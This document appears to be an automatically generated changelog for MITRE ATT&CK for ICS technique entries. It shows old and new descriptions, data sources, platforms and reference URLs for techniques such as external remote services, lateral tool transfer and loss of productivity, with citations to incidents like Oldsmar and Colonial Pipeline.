| > | , programs, or assets in order to cause unintended or unexpe | > | nternet-facing software may be user applications, underlying | ||
| > | cted behavior. These public-facing applications may include | > | networking implementations, an assets operating system, wea | ||
| > | user interfaces, software, data, or commands. In particular, | > | k defenses, etc. Targets of this technique may be intentiona | ||
| > | a public-facing application in the IT environment may provi | > | lly exposed for the purpose of remote management and visibil | ||
| > | de adversaries an interface into the OT environment. ICS-C | > | ity. An adversary may seek to target public-facing applicati | ||
| > | ERT analysis has identified the probable initial infection v | > | ons as they may provide direct access into an ICS environmen | ||
| > | ector for systems running GE’s Cimplicity HMI with a direct | > | t or the ability to move into the ICS network. Publicly expo | ||
| > | connection to the Internet. (Citation: ICS CERT 14-281) | > | sed applications may be found through online tools that scan | ||
| > | the internet for open ports and services. Version numbers f | ||||
| > | or the exposed application may provide adversaries an abilit | ||||
| > | y to target specific known vulnerabilities. Exposed control | ||||
| > | protocol or remote access ports found in Commonly Used Port | ||||
| > | may be of interest by adversaries. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may attempt to exploit public-facing applications to leverage weaknesses on Internet-facing computer systems, programs, or assets in order to cause unintended or unexpected behavior. These public-facing applications may include user interfaces, software, data, or commands. In particular, a public-facing application in the IT environment may provide adversaries an interface into the OT environment. ICS-CERT analysis has identified the probable initial infection vector for systems running GE’s Cimplicity HMI with a direct connection to the Internet. (Citation: ICS CERT 14-281) | Adversaries may leverage weaknesses to exploit internet-facing software for initial access into an industrial network. Internet-facing software may be user applications, underlying networking implementations, an assets operating system, weak defenses, etc. Targets of this technique may be intentionally exposed for the purpose of remote management and visibility. An adversary may seek to target public-facing applications as they may provide direct access into an ICS environment or the ability to move into the ICS network. Publicly exposed applications may be found through online tools that scan the internet for open ports and services. Version numbers for the exposed application may provide adversaries an ability to target specific known vulnerabilities. Exposed control protocol or remote access ports found in Commonly Used Port may be of interest by adversaries. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T819 | https://collaborate.mitre.org/attackics/index.php/Technique/T0819 |
| x_mitre_data_sources[0] | Web logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Web application firewall logs | Network Traffic: Network Traffic Content |
| x_mitre_platforms[0] | Windows | Human-Machine Interface |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Application logs | |
| x_mitre_data_sources | Packet capture |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Detonation chamber', 'Malware reverse engineering'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T820 | https://collaborate.mitre.org/attackics/index.php/Technique/T0820 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T866 | https://collaborate.mitre.org/attackics/index.php/Technique/T0866 |
| x_mitre_data_sources[0] | Windows error reporting | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Process monitoring | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring | |
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage external remote services as a point | t | 1 | Adversaries may leverage external remote services as a point |
| > | of initial access into your network. These services allow u | > | of initial access into your network. These services allow u | ||
| > | sers to connect to internal network resources from external | > | sers to connect to internal network resources from external | ||
| > | locations. Examples are VPNs, Citrix, and other access mecha | > | locations. Examples are VPNs, Citrix, and other access mecha | ||
| > | nisms. Remote service gateways often manage connections and | > | nisms. Remote service gateways often manage connections and | ||
| > | credential authentication for these services. (Citation: EAt | > | credential authentication for these services.(Citation: EAtt | ||
| > | tack External Remote Services) External remote services all | > | ack External Remote Services) External remote services allow | ||
| > | ow administration of a control system from outside the syste | > | administration of a control system from outside the system. | ||
| > | m. Often, vendors and internal engineering groups have acces | > | Often, vendors and internal engineering groups have access | ||
| > | s to external remote services to control system networks via | > | to external remote services to control system networks via t | ||
| > | the corporate network. In some cases, this access is enable | > | he corporate network. In some cases, this access is enabled | ||
| > | d directly from the internet. While remote access enables ea | > | directly from the internet. While remote access enables ease | ||
| > | se of maintenance when a control system is in a remote area, | > | of maintenance when a control system is in a remote area, c | ||
| > | compromise of remote access solutions is a liability. The a | > | ompromise of remote access solutions is a liability. The adv | ||
| > | dversary may use these services to gain access to and execut | > | ersary may use these services to gain access to and execute | ||
| > | e attacks against a control system network. Access to valid | > | attacks against a control system network. Access to valid ac | ||
| > | accounts is often a requirement. As they look for an entry | > | counts is often a requirement. As they look for an entry poi | ||
| > | point into the control system network, adversaries may begi | > | nt into the control system network, adversaries may begin se | ||
| > | n searching for existing point‐to‐point VPN implementations | > | arching for existing point‐to‐point VPN implementations at t | ||
| > | at trusted third party networks or through remote support em | > | rusted third party networks or through remote support employ | ||
| > | ployee connections where split tunneling is enabled. (Citati | > | ee connections where split tunneling is enabled.(Citation: U | ||
| > | on: Ukraine15 - EISAC - 201603) In the Maroochy Attack, the | > | kraine15 - EISAC - 201603) In the Maroochy Attack, the adver | ||
| > | adversary was able to gain remote computer access to the sy | > | sary was able to gain remote computer access to the system o | ||
| > | stem over radio. The 2015 attack on the Ukranian power grid | > | ver radio. | ||
| > | showed the use of existing remote access tools within the e | ||||
| > | nvironment to access the control system network. The adversa | ||||
| > | ry harvested worker credentials, some of them for VPNs the g | ||||
| > | rid workers used to remotely log into the control system net | ||||
| > | works. (Citation: Ukraine15 - Zetter, Kim) (Citation: Ukrain | ||||
| > | e15 - EISAC - 201603) (Citation: Ukraine15 - ICSCERT) (Citat | ||||
| > | ion: Ukraine15 - Fireeye) The VPNs into these networks appea | ||||
| > | r to have lacked two‐factor authentication. (Citation: Ukrai | ||||
| > | ne15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services. (Citation: EAttack External Remote Services) External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point‐to‐point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled. (Citation: Ukraine15 - EISAC - 201603) In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio. The 2015 attack on the Ukranian power grid showed the use of existing remote access tools within the environment to access the control system network. The adversary harvested worker credentials, some of them for VPNs the grid workers used to remotely log into the control system networks. (Citation: Ukraine15 - Zetter, Kim) (Citation: Ukraine15 - EISAC - 201603) (Citation: Ukraine15 - ICSCERT) (Citation: Ukraine15 - Fireeye) The VPNs into these networks appear to have lacked two‐factor authentication. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services.(Citation: EAttack External Remote Services) External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point‐to‐point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled.(Citation: Ukraine15 - EISAC - 201603) In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio. |
| kill_chain_phases[0]['phase_name'] | lateral-movement-ics | initial-access-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T822 | https://collaborate.mitre.org/attackics/index.php/Technique/T0822 |
| x_mitre_data_sources[0] | Authentication logs | Application Log: Application Log Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Logon Session: Logon Session Metadata | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'} | |
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to gain access to a machine via a Gr | t | 1 | Adversaries may attempt to gain access to a machine via a Gr |
| > | aphical User Interface (GUI) to enhance execution capabiliti | > | aphical User Interface (GUI) to enhance execution capabiliti | ||
| > | es. Access to a GUI allows a user to interact with a compute | > | es. Access to a GUI allows a user to interact with a compute | ||
| > | r in a more visual manner than a CLI. A GUI allows users to | > | r in a more visual manner than a CLI. A GUI allows users to | ||
| > | move a cursor and click on interface objects, with a mouse a | > | move a cursor and click on interface objects, with a mouse a | ||
| > | nd keyboard as the main input devices, as opposed to just us | > | nd keyboard as the main input devices, as opposed to just us | ||
| > | ing the keyboard. If physical access is not an option, then | > | ing the keyboard. If physical access is not an option, then | ||
| > | access might be possible via protocols such as VNC on Linux | > | access might be possible via protocols such as VNC on Linux- | ||
| > | -based and Unix-based operating systems, and RDP on Windows | > | based and Unix-based operating systems, and RDP on Windows o | ||
| > | operating systems. An adversary can use this access to execu | > | perating systems. An adversary can use this access to execut | ||
| > | te programs and applications on the target machine. In the | > | e programs and applications on the target machine. In the O | ||
| > | 2015 attack on the Ukrainian power grid, the adversary utili | > | ldsmar water treatment attack, adversaries utilized the oper | ||
| > | zed the GUI of HMIs in the SCADA environment to open breaker | > | ator HMI interface through the graphical user interface. Thi | ||
| > | s. (Citation: Ukraine15 - EISAC - 201603) Detection: Detect | > | s action led to immediate operator detection as they were ab | ||
| > | ion of execution through the GUI will likely lead to signifi | > | le to see the adversary making changes on their screen. (Cit | ||
| > | cant false positives. Other factors should be considered to | > | ation: Oldsmar Water Treatment Attack Feb 2021) | ||
| > | detect misuse of services that can lead to adversaries gaini | ||||
| > | ng access to systems through interactive remote sessions. | ||||
| > | Unknown or unusual process launches outside of normal behavi | ||||
| > | or on a particular system occurring through remote interacti | ||||
| > | ve sessions are suspicious. Collect and audit security logs | ||||
| > | that may indicate access to and use of Legitimate Credential | ||||
| > | s to access remote systems within the network. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-14 15:25:32.143000+00:00 |
| description | Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. In the 2015 attack on the Ukrainian power grid, the adversary utilized the GUI of HMIs in the SCADA environment to open breakers. (Citation: Ukraine15 - EISAC - 201603) Detection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. Unknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network. | Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. In the Oldsmar water treatment attack, adversaries utilized the operator HMI interface through the graphical user interface. This action led to immediate operator detection as they were able to see the adversary making changes on their screen. (Citation: Oldsmar Water Treatment Attack Feb 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T823 | https://collaborate.mitre.org/attackics/index.php/Technique/T0823 |
| x_mitre_data_sources[0] | File monitoring | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Process monitoring | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Oldsmar Water Treatment Attack Feb 2021', 'description': 'Pinellas County Sheriff’s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.', 'url': 'https://www.youtube.com/watch?v=MkXDSOgLQ6M'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Binary file metadata | |
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| kill_chain_phases[0]['phase_name'] | persistence-ics | execution-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T874 | https://collaborate.mitre.org/attackics/index.php/Technique/T0874 |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| x_mitre_data_sources[1] | Windows registry | Module: Module Load |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'privilege-escalation-ics'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring | |
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may seek to capture process image values related | t | 1 | Adversaries may seek to capture process image values related |
| > | to the inputs and outputs of a PLC. Within a PLC all input | > | to the inputs and outputs of a PLC. Within a PLC all input | ||
| > | and output states are stored into an I/O image. This image i | > | and output states are stored into an I/O image. This image i | ||
| > | s used by the user program instead of directly interacting w | > | s used by the user program instead of directly interacting w | ||
| > | ith physical I/O. (Citation: PLC-Blaster 2) | > | ith physical I/O. (Citation: PLC-Blaster 2) Adversaries may | ||
| > | collect the I/O Image state of a PLC by utilizing a device’s | ||||
| > | Native API to access the memory regions directly. The colle | ||||
| > | ction of the PLC’s I/O state could be used to replace values | ||||
| > | or inform future stages of an attack. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-14 15:25:32.143000+00:00 |
| description | Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O. (Citation: PLC-Blaster 2) | Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O. (Citation: PLC-Blaster 2) Adversaries may collect the I/O Image state of a PLC by utilizing a device’s Native API to access the memory regions directly. The collection of the PLC’s I/O state could be used to replace values or inform future stages of an attack. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T877 | https://collaborate.mitre.org/attackics/index.php/Technique/T0877 |
| x_mitre_data_sources[0] | Controller program | Asset: Software/Firmware |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Stuxnet - Symantec - 201102', 'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T872 | https://collaborate.mitre.org/attackics/index.php/Technique/T0872 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Deletion |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Metadata |
| x_mitre_data_sources[3] | API monitoring | File: File Modification |
| x_mitre_data_sources[4] | Windows event logs | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: OS API Execution | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | User Account: User Account Authentication | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Deletion | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gain access into industrial environments dir | t | 1 | Adversaries may gain access into industrial environments thr |
| > | ectly through systems exposed to the internet for remote acc | > | ough systems exposed directly to the internet for remote acc | ||
| > | ess rather than through External Remote Services. Minimal pr | > | ess rather than through External Remote Services. Internet A | ||
| > | otections provided by these devices such as password authent | > | ccessible Devices are exposed to the internet unintentionall | ||
| > | ication may be targeted and compromised. (Citation: Bowman D | > | y or intentionally without adequate protections. This may al | ||
| > | am - ICS-CERT) In the case of the Bowman dam incident, adve | > | low for adversaries to move directly into the control system | ||
| > | rsaries leveraged access to the dam control network through | > | network. Access onto these devices is accomplished without | ||
| > | a cellular modem. Access to the device was protected by pass | > | the use of exploits, these would be represented within the E | ||
| > | word authentication, although the application was vulnerable | > | xploit Public-Facing Application technique. Adversaries may | ||
| > | to brute forcing. (Citation: Bowman Dam - wall street jou | > | leverage built in functions for remote access which may not | ||
| > | rnal) (Citation: Bowman Dam - Times) (Citation: Bowman Dam - | > | be protected or utilize minimal legacy protections that may | ||
| > | ICS-CERT) | > | be targeted.(Citation: Bowman Dam - ICS-CERT) In the case of | ||
| > | the Bowman dam incident, adversaries leveraged access to th | ||||
| > | e dam control network through a cellular modem. Access to th | ||||
| > | e device was protected by password authentication, although | ||||
| > | the application was vulnerable to brute forcing.(Citation: B | ||||
| > | owman Dam - ICS-CERT)(Citation: Bowman Dam - wall street jou | ||||
| > | rnal)(Citation: owman Dam - Times) In Trend Micro’s manufact | ||||
| > | uring deception operations adversaries were detected leverag | ||||
| > | ing direct internet access to an ICS environment through the | ||||
| > | exposure of operational protocols such as Siemens S7, Omron | ||||
| > | FINS, and EtherNet/IP, in addition to misconfigured VNC acc | ||||
| > | ess.(Citation: Trend Micro Honeypot) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may gain access into industrial environments directly through systems exposed to the internet for remote access rather than through External Remote Services. Minimal protections provided by these devices such as password authentication may be targeted and compromised. (Citation: Bowman Dam - ICS-CERT) In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing. (Citation: Bowman Dam - wall street journal) (Citation: Bowman Dam - Times) (Citation: Bowman Dam - ICS-CERT) | Adversaries may gain access into industrial environments through systems exposed directly to the internet for remote access rather than through External Remote Services. Internet Accessible Devices are exposed to the internet unintentionally or intentionally without adequate protections. This may allow for adversaries to move directly into the control system network. Access onto these devices is accomplished without the use of exploits, these would be represented within the Exploit Public-Facing Application technique. Adversaries may leverage built in functions for remote access which may not be protected or utilize minimal legacy protections that may be targeted.(Citation: Bowman Dam - ICS-CERT) In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.(Citation: Bowman Dam - ICS-CERT)(Citation: Bowman Dam - wall street journal)(Citation: owman Dam - Times) In Trend Micro’s manufacturing deception operations adversaries were detected leveraging direct internet access to an ICS environment through the exposure of operational protocols such as Siemens S7, Omron FINS, and EtherNet/IP, in addition to misconfigured VNC access.(Citation: Trend Micro Honeypot) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T883 | https://collaborate.mitre.org/attackics/index.php/Technique/T0883 |
| x_mitre_data_sources[0] | Authentication logs | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Windows | Control Server |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Trend Micro Honeypot', 'description': 'Stephen Hilt, Federico Maggi, Charles Perine, Lord Remorin, Martin Rösler, and Rainer Vosseler. (n.d.). Caught in the Act: Running a Realistic Factory Honeypot to Capture Real Threats. Retrieved April 12, 2021.', 'url': 'https://documents.trendmicro.com/assets/white_papers/wp-caught-in-the-act-running-a-realistic-factory-honeypot-to-capture-real-threats.pdf'} | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Logon Session: Logon Session Metadata | |
| x_mitre_platforms | Data Historian | |
| x_mitre_platforms | Field Controller/RTU/PLC/IED | |
| x_mitre_platforms | Human-Machine Interface | |
| x_mitre_platforms | Input/Output Server | |
| x_mitre_platforms | Safety Instrumented System/Protection Relay |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may copy files from one system to another to sta | t | 1 | Adversaries may transfer tools or other files from one syste |
| > | ge adversary tools or other files over the course of an oper | > | m to another to stage adversary tools or other files over th | ||
| > | ation. (Citation: EAttack Remote File Copy) Copying of files | > | e course of an operation. (Citation: EAttack Lateral Tool Tr | ||
| > | may also be performed laterally between internal victim sys | > | ansfer) Copying of files may also be performed laterally bet | ||
| > | tems to support Lateral Movement with remote Execution using | > | ween internal victim systems to support Lateral Movement wit | ||
| > | inherent file sharing protocols such as file sharing over S | > | h remote Execution using inherent file sharing protocols suc | ||
| > | MB to connected network shares. (Citation: EAttack Remote Fi | > | h as file sharing over SMB to connected network shares. (Cit | ||
| > | le Copy) In control systems environments, malware may use S | > | ation: EAttack Remote File Copy) In control systems environ | ||
| > | MB and other file sharing protocols to move laterally throug | > | ments, malware may use SMB and other file sharing protocols | ||
| > | h industrial networks. | > | to move laterally through industrial networks. | ||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| name | Remote File Copy | Lateral Tool Transfer |
| description | Adversaries may copy files from one system to another to stage adversary tools or other files over the course of an operation. (Citation: EAttack Remote File Copy) Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. (Citation: EAttack Remote File Copy) In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks. | Adversaries may transfer tools or other files from one system to another to stage adversary tools or other files over the course of an operation. (Citation: EAttack Lateral Tool Transfer) Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. (Citation: EAttack Remote File Copy) In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T867 | https://collaborate.mitre.org/attackics/index.php/Technique/T0867 |
| external_references[1]['source_name'] | EAttack Remote File Copy | EAttack Lateral Tool Transfer |
| external_references[1]['description'] | Enterprise ATT&CK. (n.d.). Remote File Copy. Retrieved October 27, 2019. | Enterprise ATT&CK. (n.d.). Lateral Tool Transfer. Retrieved October 27, 2019. |
| external_references[1]['url'] | https://attack.mitre.org/techniques/T1105/ | https://attack.mitre.org/techniques/T1570/ |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Packet capture | File: File Creation |
| x_mitre_data_sources[2] | Process use of network | File: File Metadata |
| x_mitre_data_sources[3] | Process monitoring | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[4] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[5] | Network protocol analysis | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to disrupt essential components or s | t | 1 | Adversaries may attempt to disrupt essential components or s |
| > | ystems to prevent owner and operator from delivering product | > | ystems to prevent owner and operator from delivering product | ||
| > | s or services. (Citation: Reference - Corero) (Citation: Ref | > | s or services. (Citation: Reference - Corero) (Citation: Ref | ||
| > | erence - SANS - 201510) (Citation: Reference - RIoT) Adver | > | erence - SANS - 201510) (Citation: Reference - RIoT) Adver | ||
| > | saries may leverage malware to delete or encrypt critical da | > | saries may leverage malware to delete or encrypt critical da | ||
| > | ta on HMIs, workstations, or databases. | > | ta on HMIs, workstations, or databases. In the 2021 Colonial | ||
| > | Pipeline ransomware incident, pipeline operations were temp | ||||
| > | orally halted on May 7th and were not fully restarted until | ||||
| > | May 12th. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases. | Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases. In the 2021 Colonial Pipeline ransomware incident, pipeline operations were temporally halted on May 7th and were not fully restarted until May 12th. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T826 | https://collaborate.mitre.org/attackics/index.php/Technique/T0826 |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may cause loss of productivity and revenue throu | t | 1 | Adversaries may cause loss of productivity and revenue throu |
| > | gh disruption and even damage to the availability and integr | > | gh disruption and even damage to the availability and integr | ||
| > | ity of control system operations, devices, and related proce | > | ity of control system operations, devices, and related proce | ||
| > | sses. This technique may manifest as a direct effect of an I | > | sses. This technique may manifest as a direct effect of an I | ||
| > | CS-targeting attack or tangentially, due to an IT-targeting | > | CS-targeting attack or tangentially, due to an IT-targeting | ||
| > | attack against non-segregated environments. In some cases, t | > | attack against non-segregated environments. In cases where | ||
| > | his may result from the postponement and disruption of ICS o | > | these operations or services are brought to a halt, the loss | ||
| > | perations and production as part of a remediation effort. Op | > | of productivity may eventually present an impact for the en | ||
| > | erations may be brought to a halt and effectively stopped in | > | d-users or consumers of products and services. The disrupted | ||
| > | an effort to contain and properly remove malware or due to | > | supply-chain may result in supply shortages and increased p | ||
| > | the <span class="smw-format list-format "><span class="smw-r | > | rices, among other consequences. A ransomware attack on an | ||
| > | ow"><span class="smw-field"><span class="smw-value">Loss of | > | Australian beverage company resulted in the shutdown of some | ||
| > | Safety</span></span></span></span>. | > | manufacturing sites, including precautionary halts to prote | ||
| > | ct key systems. (Citation: Distrupted Operations at Lion Com | ||||
| > | pany June 2020) The company announced the potential for temp | ||||
| > | orary shortages of their products following the attack. (Cit | ||||
| > | ation: Distrupted Operations at Lion Company June 2020) (Cit | ||||
| > | ation: Lion Cyber Incident June 2020) In the 2021 Colonial | ||||
| > | Pipeline ransomware incident, the pipeline was unable to tra | ||||
| > | nsport approximately 2.5 million barrels of fuel per day to | ||||
| > | the East Coast. (Citation: Colonial Pipeline System Distrupt | ||||
| > | ion May 2021) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-14 15:25:32.143000+00:00 |
| description | Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In some cases, this may result from the postponement and disruption of ICS operations and production as part of a remediation effort. Operations may be brought to a halt and effectively stopped in an effort to contain and properly remove malware or due to the Loss of Safety. | Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In cases where these operations or services are brought to a halt, the loss of productivity may eventually present an impact for the end-users or consumers of products and services. The disrupted supply-chain may result in supply shortages and increased prices, among other consequences. A ransomware attack on an Australian beverage company resulted in the shutdown of some manufacturing sites, including precautionary halts to protect key systems. (Citation: Distrupted Operations at Lion Company June 2020) The company announced the potential for temporary shortages of their products following the attack. (Citation: Distrupted Operations at Lion Company June 2020) (Citation: Lion Cyber Incident June 2020) In the 2021 Colonial Pipeline ransomware incident, the pipeline was unable to transport approximately 2.5 million barrels of fuel per day to the East Coast. (Citation: Colonial Pipeline System Distruption May 2021) |
